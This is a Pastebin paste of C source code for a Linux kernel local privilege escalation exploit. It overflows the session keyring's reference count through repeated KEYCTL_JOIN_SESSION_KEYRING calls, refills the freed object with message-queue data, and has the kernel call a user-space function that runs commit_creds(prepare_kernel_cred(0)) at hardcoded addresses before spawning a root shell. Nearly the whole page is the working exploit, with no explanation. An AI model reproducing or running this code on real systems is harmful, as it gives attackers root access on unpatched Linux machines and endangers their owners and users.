LuanProRobloxianScri

Untitled

Sep 15th, 2016
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.99 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <keyutils.h>
  6. #include <unistd.h>
  7. #include <time.h>
  8. #include <unistd.h>
  9.  
  10. #include <sys/ipc.h>
  11. #include <sys/msg.h>
  12.  
  13. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  14. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  15. _commit_creds commit_creds;
  16. _prepare_kernel_cred prepare_kernel_cred;
  17.  
  18. #define STRUCT_LEN (0xb8 - 0x30)
  19. #define COMMIT_CREDS_ADDR (0xffffffff81094250)
  20. #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)
  21.  
  22.  
  23.  
  24. struct key_type {
  25. char * name;
  26. size_t datalen;
  27. void * vet_description;
  28. void * preparse;
  29. void * free_preparse;
  30. void * instantiate;
  31. void * update;
  32. void * match_preparse;
  33. void * match_free;
  34. void * revoke;
  35. void * destroy;
  36. };
  37.  
  38. void userspace_revoke(void * key) {
  39. commit_creds(prepare_kernel_cred(0));
  40. }
  41.  
  42. int main(int argc, const char *argv[]) {
  43. const char *keyring_name;
  44. size_t i = 0;
  45. unsigned long int l = 0x100000000/2;
  46. key_serial_t serial = -1;
  47. pid_t pid = -1;
  48. struct key_type * my_key_type = NULL;
  49.  
  50. struct { long mtype;
  51. char mtext[STRUCT_LEN];
  52. } msg = {0x4141414141414141, {0}};
  53. int msqid;
  54.  
  55. if (argc != 2) {
  56. puts("usage: ./keys <key_name>");
  57. return 1;
  58. }
  59.  
  60. printf("uid=%d, euid=%d\n", getuid(), geteuid());
  61. commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
  62. prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
  63.  
  64. my_key_type = malloc(sizeof(*my_key_type));
  65.  
  66. my_key_type->revoke = (void*)userspace_revoke;
  67. memset(msg.mtext, 'A', sizeof(msg.mtext));
  68.  
  69. // key->uid
  70. *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
  71. //key->perm
  72. *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
  73.  
  74. //key->type
  75. *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
  76.  
  77. if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
  78. perror("msgget");
  79. exit(1);
  80. }
  81.  
  82. keyring_name = argv[1];
  83.  
  84. /* Set the new session keyring before we start */
  85.  
  86. serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
  87. if (serial < 0) {
  88. perror("keyctl");
  89. return -1;
  90. }
  91.  
  92. if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
  93. perror("keyctl");
  94. return -1;
  95. }
  96.  
  97.  
  98. puts("Increfing...");
  99. for (i = 1; i < 0xfffffffd; i++) {
  100. if (i == (0xffffffff - l)) {
  101. l = l/2;
  102. sleep(5);
  103. }
  104. if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
  105. perror("keyctl");
  106. return -1;
  107. }
  108. }
  109. sleep(5);
  110. /* here we are going to leak the last references to overflow */
  111. for (i=0; i<5; ++i) {
  112. if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
  113. perror("keyctl");
  114. return -1;
  115. }
  116. }
  117.  
  118. puts("finished increfing");
  119. puts("forking...");
  120. /* allocate msg struct in the kernel rewriting the freed keyring object */
  121. for (i=0; i<64; i++) {
  122. pid = fork();
  123. if (pid == -1) {
  124. perror("fork");
  125. return -1;
  126. }
  127.  
  128. if (pid == 0) {
  129. sleep(2);
  130. if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
  131. perror("msgget");
  132. exit(1);
  133. }
  134. for (i = 0; i < 64; i++) {
  135. if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
  136. perror("msgsnd");
  137. exit(1);
  138. }
  139. }
  140. sleep(-1);
  141. exit(1);
  142. }
  143. }
  144.  
  145. puts("finished forking");
  146. sleep(5);
  147.  
  148. /* call userspace_revoke from kernel */
  149. puts("caling revoke...");
  150. if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
  151. perror("keyctl_revoke");
  152. }
  153.  
  154. printf("uid=%d, euid=%d\n", getuid(), geteuid());
  155. execl("/bin/sh", "/bin/sh", NULL);
  156.  
  157. return 0;
  158. }
Add Comment
Please, Sign In to add comment